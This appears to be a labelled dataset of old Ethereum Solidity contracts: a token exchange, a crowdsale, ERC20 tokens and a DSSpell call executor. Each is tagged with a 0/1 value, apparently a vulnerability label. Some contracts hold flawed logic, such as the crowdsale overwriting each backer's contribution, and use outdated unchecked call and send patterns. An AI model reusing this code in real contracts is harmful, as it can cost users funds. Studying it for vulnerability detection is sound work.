function getCurrentUserRefBonus() public view returns(uint256) {
return _data.getUserRefBalance(msg.sender);
}
function getCurrentUserPromoBonus() public view returns(uint256) {
return _data.getUserTotalPromoBonus(msg.sender);
}
function getTokenDealRange() public view returns(uint256, uint256) {
return (_core.MIN_TOKEN_DEAL_VAL(), _core.MAX_TOKEN_DEAL_VAL());
}
function getEthDealRange() public view returns(uint256, uint256) {
uint256 minTokenVal; uint256 maxTokenVal;
(minTokenVal, maxTokenVal) = getTokenDealRange();
return ( SafeMath.max(_core.MIN_ETH_DEAL_VAL(), tokensToEth(minTokenVal, true)), SafeMath.min(_core.MAX_ETH_DEAL_VAL(), tokensToEth(maxTokenVal, true)) );
}
function getUserReward(address userAddress, bool isTotal) public view returns(uint256) {
return isTotal ?
_core.getUserTotalReward(userAddress, true, true, true) :
_data.getUserReward(userAddress, true, true);
}
function get1TokenSellPrice() public view returns(uint256) {
uint256 tokenAmount = 1 ether;
uint256 ethAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0;
(ethAmount, totalFeeEth, tokenPrice) = estimateSellOrder(tokenAmount, true);
return ethAmount;
}
function get1TokenBuyPrice() public view returns(uint256) {
uint256 ethAmount = 1 ether;
uint256 tokenAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0;
(tokenAmount, totalFeeEth, tokenPrice) = estimateBuyOrder(ethAmount, true);
return SafeMath.div(ethAmount * 1 ether, tokenAmount);
}
function calcReward(uint256 tokenAmount) public view returns(uint256) {
return (uint256) ((int256)(_data.getBonusPerShare() * tokenAmount)) / _core.MAGNITUDE();
}
function estimateBuyOrder(uint256 amount, bool fromEth) public view returns(uint256, uint256, uint256) {
uint256 minAmount; uint256 maxAmount;
(minAmount, maxAmount) = fromEth ? getEthDealRange() : getTokenDealRange();
uint256 ethAmount = fromEth ? amount : tokensToEth(amount, true);
require(ethAmount > 0);
uint256 tokenAmount = fromEth ? ethToTokens(amount, true) : amount;
uint256 totalFeeEth = calcTotalFee(tokenAmount, true);
require(ethAmount > totalFeeEth);
uint256 tokenPrice = SafeMath.div(ethAmount * 1 ether, tokenAmount);
return (fromEth ? tokenAmount : SafeMath.add(ethAmount, totalFeeEth), totalFeeEth, tokenPrice);
}
function estimateSellOrder(uint256 amount, bool fromToken) public view returns(uint256, uint256, uint256) {
uint256 minAmount; uint256 maxAmount;
(minAmount, maxAmount) = fromToken ? getTokenDealRange() : getEthDealRange();
uint256 tokenAmount = fromToken ? amount : ethToTokens(amount, false);
require(tokenAmount > 0);
uint256 ethAmount = fromToken ? tokensToEth(tokenAmount, false) : amount;
uint256 totalFeeEth = calcTotalFee(tokenAmount, false);
require(ethAmount > totalFeeEth);
uint256 tokenPrice = SafeMath.div(ethAmount * 1 ether, tokenAmount);
return (fromToken ? ethAmount : tokenAmount, totalFeeEth, tokenPrice);
}
function getUserMaxPurchase(address userAddress) public view returns(uint256) {
return _token.balanceOf(userAddress) - SafeMath.mul(getUserLocalTokenBalance(userAddress), 2);
}
function getCurrentUserMaxPurchase() public view returns(uint256) {
return getUserMaxPurchase(msg.sender);
}
function getTokenOwnerReward() public view returns(uint256) {
return _data._tokenOwnerReward();
}
function getCurrentUserTotalPromoBonus() public view returns(uint256) {
return _data.getUserTotalPromoBonus(msg.sender);
}
function getCurrentUserBigPromoBonus() public view returns(uint256) {
return _data.getUserBigPromoBonus(msg.sender);
}
function getCurrentUserQuickPromoBonus() public view returns(uint256) {
return _data.getUserQuickPromoBonus(msg.sender);
}
function getBlockNumSinceInit() public view returns(uint256) {
return _core.getBlockNumSinceInit();
}
function getQuickPromoRemainingBlocks() public view returns(uint256) {
return _core.getQuickPromoRemainingBlocks();
}
function getBigPromoRemainingBlocks() public view returns(uint256) {
return _core.getBigPromoRemainingBlocks();
}
function purchaseTokens(uint256 ethAmount, address refAddress, uint256 minReturn) internal returns(uint256) {
uint256 tokenAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0;
(tokenAmount, totalFeeEth, tokenPrice) = estimateBuyOrder(ethAmount, true);
require(tokenAmount >= minReturn);
if (_data._hasMaxPurchaseLimit()) {
require(getCurrentUserMaxPurchase() >= tokenAmount);
}
require(tokenAmount > 0 && (SafeMath.add(tokenAmount, getTotalTokenSold()) > getTotalTokenSold()));
if (refAddress == msg.sender || !_core.isRefAvailable(refAddress)) refAddress = address(0x0);
distributeFee(totalFeeEth, refAddress);
addUserTokens(msg.sender, tokenAmount);
_core.addUserRewardPayouts(msg.sender, _data.getBonusPerShare() * tokenAmount);
checkAndSendPromoBonus(ethAmount);
updateTokenPrice(_core.convert256ToReal(tokenAmount));
_core.trackBuy(msg.sender, ethAmount, tokenAmount);
emit onTokenPurchase(msg.sender, ethAmount, tokenAmount, refAddress);
return tokenAmount;
}
function setTotalSupply() internal {
require(_data._totalSupply() == 0);
uint256 tokenAmount = _token.balanceOf(address(this));
_data.setTotalSupply(tokenAmount);
}
function checkAndSendPromoBonus(uint256 purchaseAmountEth) internal {
if (purchaseAmountEth < _data.getPromoMinPurchaseEth()) return;
if (getQuickPromoRemainingBlocks() == 0) sendQuickPromoBonus();
if (getBigPromoRemainingBlocks() == 0) sendBigPromoBonus();
}
function sendQuickPromoBonus() internal {
_core.payoutQuickBonus(msg.sender);
emit onWinQuickPromo(msg.sender, _data.getCurrentQuickPromoBonus());
}
function sendBigPromoBonus() internal {
_core.payoutBigBonus(msg.sender);
emit onWinBigPromo(msg.sender, _data.getCurrentBigPromoBonus());
}
function distributeFee(uint256 totalFeeEth, address refAddress) internal {
addProfitPerShare(totalFeeEth, refAddress);
addDevReward(totalFeeEth);
addTokenOwnerReward(totalFeeEth);
addBigPromoBonus(totalFeeEth);
addQuickPromoBonus(totalFeeEth);
}
function addProfitPerShare(uint256 totalFeeEth, address refAddress) internal {
uint256 refBonus = calcRefBonus(totalFeeEth);
uint256 totalShareReward = calcTotalShareRewardFee(totalFeeEth);
if (refAddress != address(0x0)) {
_core.addUserRefBalance.value(refBonus)(refAddress);
} else {
totalShareReward = SafeMath.add(totalShareReward, refBonus);
}
if (getTotalTokenSold() == 0) {
_data.addTokenOwnerReward(totalShareReward);
} else {
_core.addBonusPerShare.value(totalShareReward)();
}
}
function addDevReward(uint256 totalFeeEth) internal {
_core.addDevReward.value(calcDevReward(totalFeeEth))();
}
function addTokenOwnerReward(uint256 totalFeeEth) internal {
_data.addTokenOwnerReward(calcTokenOwnerReward(totalFeeEth));
}
function addBigPromoBonus(uint256 totalFeeEth) internal {
_core.addBigPromoBonus.value(calcBigPromoBonus(totalFeeEth))();
}
function addQuickPromoBonus(uint256 totalFeeEth) internal {
_core.addQuickPromoBonus.value(calcQuickPromoBonus(totalFeeEth))();
}
function addUserTokens(address user, uint256 tokenAmount) internal {
_core.addUserTokenLocalBalance(user, tokenAmount);
_token.transfer(msg.sender, tokenAmount);
}
function subUserTokens(address user, uint256 tokenAmount) internal {
_core.subUserTokenLocalBalance(user, tokenAmount);
_token.transferFrom(user, address(this), tokenAmount);
}
function updateTokenPrice(int128 realTokenAmount) public {
_data.setRealTokenPrice(calc1RealTokenRateFromRealTokens(realTokenAmount));
}
function ethToTokens(uint256 ethAmount, bool isBuy) internal view returns(uint256) {
int128 realEthAmount = _core.convert256ToReal(ethAmount);
int128 t0 = RealMath.div(realEthAmount, _data._realTokenPrice());
int128 s = getRealPriceSpeed();
int128 tn = RealMath.div(t0, RealMath.toReal(100));
for (uint i = 0; i < 100; i++) {
int128 tns = RealMath.mul(tn, s);
int128 exptns = RealMath.exp( RealMath.mul(tns, RealMath.toReal(isBuy ? int64(1) : int64(-1))) );
int128 tn1 = RealMath.div(
RealMath.mul( RealMath.mul(tns, tn), exptns ) + t0,
RealMath.mul( exptns, RealMath.toReal(1) + tns )
);
if (RealMath.abs(tn-tn1) < RealMath.fraction(1, 1e18)) break;
tn = tn1;
}
return _core.convertRealTo256(tn);
}
function tokensToEth(uint256 tokenAmount, bool isBuy) internal view returns(uint256) {
int128 realTokenAmount = _core.convert256ToReal(tokenAmount);
int128 s = getRealPriceSpeed();
int128 expArg = RealMath.mul(RealMath.mul(realTokenAmount, s), RealMath.toReal(isBuy ? int64(1) : int64(-1)));
int128 realEthAmountFor1Token = RealMath.mul(_data._realTokenPrice(), RealMath.exp(expArg));
int128 realEthAmount = RealMath.mul(realTokenAmount, realEthAmountFor1Token);
return _core.convertRealTo256(realEthAmount);
}
function calcTotalFee(uint256 tokenAmount, bool isBuy) internal view returns(uint256) {
int128 realTokenAmount = _core.convert256ToReal(tokenAmount);
int128 factor = RealMath.toReal(isBuy ? int64(1) : int64(-1));
int128 rateAfterDeal = calc1RealTokenRateFromRealTokens(RealMath.mul(realTokenAmount, factor));
int128 delta = RealMath.div(rateAfterDeal - _data._realTokenPrice(), RealMath.toReal(2));
int128 fee = RealMath.mul(realTokenAmount, delta);
if (!isBuy) fee = RealMath.mul(fee, RealMath.fraction(95, 100));
return _core.calcPercent(_core.convertRealTo256(RealMath.mul(fee, factor)), _core._totalIncomeFeePercent());
}
function calc1RealTokenRateFromRealTokens(int128 realTokenAmount) internal view returns(int128) {
int128 expArg = RealMath.mul(realTokenAmount, getRealPriceSpeed());
return RealMath.mul(_data._realTokenPrice(), RealMath.exp(expArg));
}
function getRealPriceSpeed() internal view returns(int128) {
require(RealMath.isUInt64ValidIn64(_data.PRICE_SPEED_PERCENT()));
require(RealMath.isUInt64ValidIn64(_data.PRICE_SPEED_INTERVAL()));
return RealMath.div(RealMath.fraction(int64(_data.PRICE_SPEED_PERCENT()), 100), RealMath.toReal(int64(_data.PRICE_SPEED_INTERVAL())));
}
function calcTotalShareRewardFee(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._shareRewardPercent());
}
function calcRefBonus(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._refBonusPercent());
}
function calcTokenOwnerReward(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._tokenOwnerRewardPercent());
}
function calcDevReward(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._devRewardPercent());
}
function calcQuickPromoBonus(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._quickPromoPercent());
}
function calcBigPromoBonus(uint256 totalFee) internal view returns(uint256) {
return _core.calcPercent(totalFee, _core._bigPromoPercent());
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? b : a;
}
}
library RealMath {
int64 constant MIN_INT64 = int64((uint64(1) << 63));
int64 constant MAX_INT64 = int64(~((uint64(1) << 63)));
int256 constant REAL_BITS = 128;
int256 constant REAL_FBITS = 64;
int256 constant REAL_IBITS = REAL_BITS - REAL_FBITS;
int128 constant REAL_ONE = int128(1) << REAL_FBITS;
int128 constant REAL_HALF = REAL_ONE >> 1;
int128 constant REAL_TWO = REAL_ONE << 1;
int128 constant REAL_LN_TWO = 762123384786;
int128 constant REAL_PI = 3454217652358;
int128 constant REAL_HALF_PI = 1727108826179;
int128 constant REAL_TWO_PI = 6908435304715;
int128 constant SIGN_MASK = int128(1) << 127;
function getMinInt64() internal pure returns (int64) {
return MIN_INT64;
}
function getMaxInt64() internal pure returns (int64) {
return MAX_INT64;
}
function isUInt256ValidIn64(uint256 val) internal pure returns (bool) {
return val >= 0 && val <= uint256(getMaxInt64());
}
function isInt256ValidIn64(int256 val) internal pure returns (bool) {
return val >= int256(getMinInt64()) && val <= int256(getMaxInt64());
}
function isUInt64ValidIn64(uint64 val) internal pure returns (bool) {
return val >= 0 && val <= uint64(getMaxInt64());
}
function isInt128ValidIn64(int128 val) internal pure returns (bool) {
return val >= int128(getMinInt64()) && val <= int128(getMaxInt64());
}
function toReal(int64 ipart) internal pure returns (int128) {
return int128(ipart) * REAL_ONE;
}
function fromReal(int128 real_value) internal pure returns (int64) {
int128 intVal = real_value / REAL_ONE;
require(isInt128ValidIn64(intVal));
return int64(intVal);
}
function abs(int128 real_value) internal pure returns (int128) {
if (real_value > 0) {
return real_value;
} else {
return -real_value;
}
}
function fpart(int128 real_value) internal pure returns (int128) {
return abs(real_value) % REAL_ONE;
}
function fpartSigned(int128 real_value) internal pure returns (int128) {
int128 fractional = fpart(real_value);
return real_value < 0 ? -fractional : fractional;
}
function ipart(int128 real_value) internal pure returns (int128) {
return real_value - fpartSigned(real_value);
}
function mul(int128 real_a, int128 real_b) internal pure returns (int128) {
return int128((int256(real_a) * int256(real_b)) >> REAL_FBITS);
}
function div(int128 real_numerator, int128 real_denominator) internal pure returns (int128) {
return int128((int256(real_numerator) * REAL_ONE) / int256(real_denominator));
}
function fraction(int64 numerator, int64 denominator) internal pure returns (int128) {
return div(toReal(numerator), toReal(denominator));
}
function ipow(int128 real_base, int64 exponent) internal pure returns (int128) {
if (exponent < 0) {
revert();
}
int128 real_result = REAL_ONE;
while (exponent != 0) {
if ((exponent & 0x1) == 0x1) {
real_result = mul(real_result, real_base);
}
exponent = exponent >> 1;
real_base = mul(real_base, real_base);
}
return real_result;
}
function hibit(uint256 val) internal pure returns (uint256) {
val |= (val >> 1);
val |= (val >> 2);
val |= (val >> 4);
val |= (val >> 8);
val |= (val >> 16);
val |= (val >> 32);
val |= (val >> 64);
val |= (val >> 128);
return val ^ (val >> 1);
}
function findbit(uint256 val) internal pure returns (uint8 index) {
index = 0;
if (val & 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA != 0) {
index |= 1;
}
if (val & 0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC != 0) {
index |= 2;
}
if (val & 0xF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0 != 0) {
index |= 4;
}
if (val & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00 != 0) {
index |= 8;
}
if (val & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000 != 0) {
index |= 16;
}
if (val & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000 != 0) {
index |= 32;
}
if (val & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000 != 0) {
index |= 64;
}
if (val & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000 != 0) {
index |= 128;
}
}
function rescale(int128 real_arg) internal pure returns (int128 real_scaled, int64 shift) {
if (real_arg <= 0) {
revert();
}
require(isInt256ValidIn64(REAL_FBITS));
int64 high_bit = findbit(hibit(uint256(real_arg)));
shift = high_bit - int64(REAL_FBITS);
if (shift < 0) {
real_scaled = real_arg << -shift;
} else if (shift >= 0) {
real_scaled = real_arg >> shift;
}
}
function lnLimited(int128 real_arg, int max_iterations) internal pure returns (int128) {
if (real_arg <= 0) {
revert();
}
if (real_arg == REAL_ONE) {
return 0;
}
int128 real_rescaled;
int64 shift;
(real_rescaled, shift) = rescale(real_arg);
int128 real_series_arg = div(real_rescaled - REAL_ONE, real_rescaled + REAL_ONE);
int128 real_series_result = 0;
for (int64 n = 0; n < max_iterations; n++) {
int128 real_term = div(ipow(real_series_arg, 2 * n + 1), toReal(2 * n + 1));
real_series_result += real_term;
if (real_term == 0) {
break;
}
}
real_series_result = mul(real_series_result, REAL_TWO);
return mul(toReal(shift), REAL_LN_TWO) + real_series_result;
}
function ln(int128 real_arg) internal pure returns (int128) {
return lnLimited(real_arg, 100);
}
function expLimited(int128 real_arg, int max_iterations) internal pure returns (int128) {
int128 real_result = 0;
int128 real_term = REAL_ONE;
for (int64 n = 0; n < max_iterations; n++) {
real_result += real_term;
real_term = mul(real_term, div(real_arg, toReal(n + 1)));
if (real_term == 0) {
break;
}
}
return real_result;
}
function expLimited(int128 real_arg, int max_iterations, int k) internal pure returns (int128) {
int128 real_result = 0;
int128 real_term = REAL_ONE;
for (int64 n = 0; n < max_iterations; n++) {
real_result += real_term;
real_term = mul(real_term, div(real_arg, toReal(n + 1)));
if (real_term == 0) {
break;
}
if (n == k) return real_term;
}
return real_result;
}
function exp(int128 real_arg) internal pure returns (int128) {
return expLimited(real_arg, 100);
}
function pow(int128 real_base, int128 real_exponent) internal pure returns (int128) {
if (real_exponent == 0) {
return REAL_ONE;
}
if (real_base == 0) {
if (real_exponent < 0) {
revert();
}
return 0;
}
if (fpart(real_exponent) == 0) {
if (real_exponent > 0) {
return ipow(real_base, fromReal(real_exponent));
} else {
return div(REAL_ONE, ipow(real_base, fromReal(-real_exponent)));
}
}
if (real_base < 0) {
revert();
}
return exp(mul(real_exponent, ln(real_base)));
}
} | 1 | 3,180 |
pragma solidity ^0.4.2;
contract SOCToken {
mapping (address => uint256) public balanceOf;
function SOCToken(
uint256 initialSupply
) {
balanceOf[msg.sender] = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
}
contract SOCTokenSale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
SOCToken public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
uint softMarketingLimit = 25 * 1 ether;
event GoalReached(address beneficiary, uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
bool crowdsaleClosed = false;
function SOCTokenSale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint pricePerEther,
SOCToken addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = 1 ether / pricePerEther;
tokenReward = SOCToken(addressOfTokenUsedAsReward);
}
function () payable {
if (crowdsaleClosed) throw;
uint amount = msg.value;
balanceOf[msg.sender] = amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function withdrawal(uint amount) {
if (msg.sender == beneficiary) {
if (beneficiary.send(amount * 1 finney)) {
FundTransfer(beneficiary, amount * 1 finney, false);
}
}
}
function safeWithdrawal() afterDeadline {
if (amountRaised < softMarketingLimit) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(this.balance)) {
FundTransfer(beneficiary, this.balance, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 1,738 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeMul(uint256 a, uint256 b) pure internal returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) pure internal returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) pure internal returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function safeAdd(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Namacoin is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
event Withdraw(address indexed from, uint256 value);
event Creation(address indexed owner, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) public {
balanceOf[msg.sender] = initialSupply;
emit Creation(msg.sender, initialSupply);
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
owner = msg.sender;
}
function transfer(address _to, uint256 _value) public {
require(_to != 0x0);
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(_value > 0);
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != 0x0);
require(_value > 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply,_value);
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(_value > 0);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require(freezeOf[msg.sender] >= _value);
require(_value > 0);
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
function withdrawEther(uint256 amount) public returns (bool success){
require(msg.sender == owner);
owner.transfer(amount);
emit Withdraw(msg.sender, amount);
return true;
}
function() public payable {
}
} | 1 | 3,131 |
pragma solidity ^0.4.23;
contract DSExec {
function tryExec( address target, bytes calldata, uint value)
internal
returns (bool call_ret)
{
return target.call.value(value)(calldata);
}
function exec( address target, bytes calldata, uint value)
internal
{
if(!tryExec(target, calldata, value)) {
revert();
}
}
function exec( address t, bytes c )
internal
{
exec(t, c, 0);
}
function exec( address t, uint256 v )
internal
{
bytes memory c; exec(t, c, v);
}
function tryExec( address t, bytes c )
internal
returns (bool)
{
return tryExec(t, c, 0);
}
function tryExec( address t, uint256 v )
internal
returns (bool)
{
bytes memory c; return tryExec(t, c, v);
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSSpell is DSExec, DSNote {
address public whom;
uint256 public mana;
bytes public data;
bool public done;
constructor(address whom_, uint256 mana_, bytes data_) public {
whom = whom_;
mana = mana_;
data = data_;
}
function cast() public note {
require( !done );
exec(whom, data, mana);
done = true;
}
}
contract DSSpellBook {
function make(address whom, uint256 mana, bytes data) public returns (DSSpell) {
return new DSSpell(whom, mana, data);
}
} | 1 | 3,126 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract OSTest5Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "OST";
name = "OST Token";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[0x92361FD0098223891CAd7324001975e98387b66e] = _totalSupply;
emit Transfer(address(0), 0x92361FD0098223891CAd7324001975e98387b66e, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function() public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,119 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
